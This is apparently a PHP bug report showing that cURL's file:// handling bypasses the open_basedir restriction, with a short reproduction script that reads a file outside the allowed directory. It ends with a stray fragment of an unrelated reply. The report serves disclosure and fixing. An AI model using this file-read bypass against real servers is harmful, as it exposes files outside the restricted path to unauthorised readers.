Description:
------------
PHP cURL functions bypass open_basedir
protection, so users can navigate through
filesystem.

For example, setting "open_basedir" in php.ini to
"/var/www/html" anybody can retrieve "/etc/parla"
using cURL functions

This vulnerability has been discovered wednesday :http://www.securitytrap.com/mail/bugtraq/2004/Oct/0287.html





Reproduce code:
---------------
<?php
$ch = curl_init("file:///etc/parla");
$file=curl_exec($ch);
echo $file
?> 

Expected result:
----------------
The execution of the file /etc/parla is not allowed because the value of openbase_dir restriction is /var/www/html.

Actual result:
--------------
The file /etc/parla is executed. 

If /etc/parla contents :

<body><html> Test of vulnerability </html></body>

The execution of this code with cURL functions showns the message.

that your issue is somewhat different, the resolution is likely
to be the same.
